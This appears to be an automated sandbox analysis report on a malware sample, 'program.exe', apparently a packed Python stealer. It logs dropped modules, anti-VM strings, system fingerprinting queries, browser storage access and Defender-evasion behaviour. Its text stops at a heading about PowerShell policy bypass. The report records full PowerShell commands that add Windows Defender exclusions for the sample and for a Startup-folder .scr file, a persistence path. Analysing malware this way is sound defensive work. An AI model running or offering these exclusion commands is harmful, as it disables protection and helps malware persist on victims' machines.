Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2566
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4400
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1619
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4206
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 647
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3642
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1427
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3555
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 657
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2583
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1685

Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\_bz2.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.dll	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73082\_ctypes.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

Evaded block: after key decision

graph_83-39779

Source: C:\Users\user\Desktop\program.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17526

Source: C:\Users\user\Desktop\program.exe

API coverage: 5.6 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep count: 3325 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 2838 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep count: 2566 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8100	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7404	Thread sleep count: 315 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6160	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8500	Thread sleep time: -15679732462653109s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8368	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5780	Thread sleep count: 4206 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7408	Thread sleep count: 647 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7096	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7076	Thread sleep count: 3642 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8168	Thread sleep count: 1427 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8176	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6768	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9064	Thread sleep count: 3555 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9052	Thread sleep count: 657 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9000	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep count: 2583 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep count: 1685 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4416	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7824	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B75083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6B75083C0
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7509280 FindFirstFileExW,FindClose,	0_2_00007FF6B7509280
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7521874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6B7521874
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7509280 FindFirstFileExW,FindClose,	1_2_00007FF6B7509280
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7521874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF6B7521874
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B75083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF6B75083C0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE746EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	83_2_00007FF64FE746EC
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEB88E0 FindFirstFileExA,	83_2_00007FF64FEB88E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE6E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	83_2_00007FF64FE6E21C

Source: C:\Users\user\Desktop\program.exe

Code function: 1_2_00007FFE01311230 GetSystemInfo,

1_2_00007FFE01311230

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\	Jump to behavior

Source: getmac.exe, 00000042.00000003.1833496519.000001556908B000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000003.1833684929.000001556909F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000002.1834820672.00000155690B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwaretray
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwareservice
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Rf8vmware
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: getmac.exe, 00000042.00000003.1833496519.000001556908B000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000003.1833684929.000001556909F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000002.1834820672.00000155690D1000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000003.1833659004.00000155690CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: program.exe, 00000001.00000002.2105991946.000001B5FE050000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000003.1833496519.000001556908B000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000003.1833684929.000001556909F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000002.1834820672.00000155690B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: decodeqemu-ga
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f15vmsrvc
Source: getmac.exe, 00000042.00000003.1833496519.000001556908B000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000003.1833659004.00000155690CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExportF*
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: program.exe, 00000001.00000003.1850672429.000001B5FEE1E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000044221.000001B5FF37B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1851308309.000001B5FE3D6000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE3AF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1851854262.000001B5FE3DD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1850513185.000001B5FF37B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000623044.000001B5FF0FC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2112057477.000001B5FF1CD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1846023992.000001B5FF1CD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1852482514.000001B5FEE1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f4vmusrvc
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvboxtray
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmtoolsd
Source: getmac.exe, 00000042.00000003.1833496519.000001556908B000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000003.1833684929.000001556909F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-VL
Source: getmac.exe, 00000042.00000002.1834820672.00000155690D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport-*
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: getmac.exe, 00000042.00000003.1833496519.000001556908B000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000003.1833684929.000001556909F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000002.1834820672.00000155690B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAW
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: getmac.exe, 00000042.00000003.1833496519.000001556908B000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000002.1834820672.00000155690D1000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000042.00000003.1833659004.00000155690CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: kfvboxservice(
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwareuser
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\program.exe

Code function: 0_2_00007FF6B750D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6B750D12C

Source: C:\Users\user\Desktop\program.exe

Code function: 1_2_00007FFDFAF10350 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

1_2_00007FFDFAF10350

Source: C:\Users\user\Desktop\program.exe

Code function: 0_2_00007FF6B7523480 GetProcessHeap,

0_2_00007FF6B7523480

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B750C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6B750C8A0
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B750D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6B750D12C
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B751A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6B751A614
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B750D30C SetUnhandledExceptionFilter,	0_2_00007FF6B750D30C
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B750C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF6B750C8A0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B750D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF6B750D12C
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B751A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF6B751A614
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B750D30C SetUnhandledExceptionFilter,	1_2_00007FF6B750D30C
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFDFAE63248 IsProcessorFeaturePresent,00007FFE1A461A90,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFE1A461A90,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFDFAE63248
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0076212B IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE0076212B
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761CB7 SetUnhandledExceptionFilter,	1_2_00007FFE00761CB7
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007DDFFC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE007DDFFC
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEB4C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	83_2_00007FF64FEB4C10
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEAB6D8 SetUnhandledExceptionFilter,	83_2_00007FF64FEAB6D8
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEAA66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	83_2_00007FF64FEAA66C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEAB52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	83_2_00007FF64FEAB52C

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

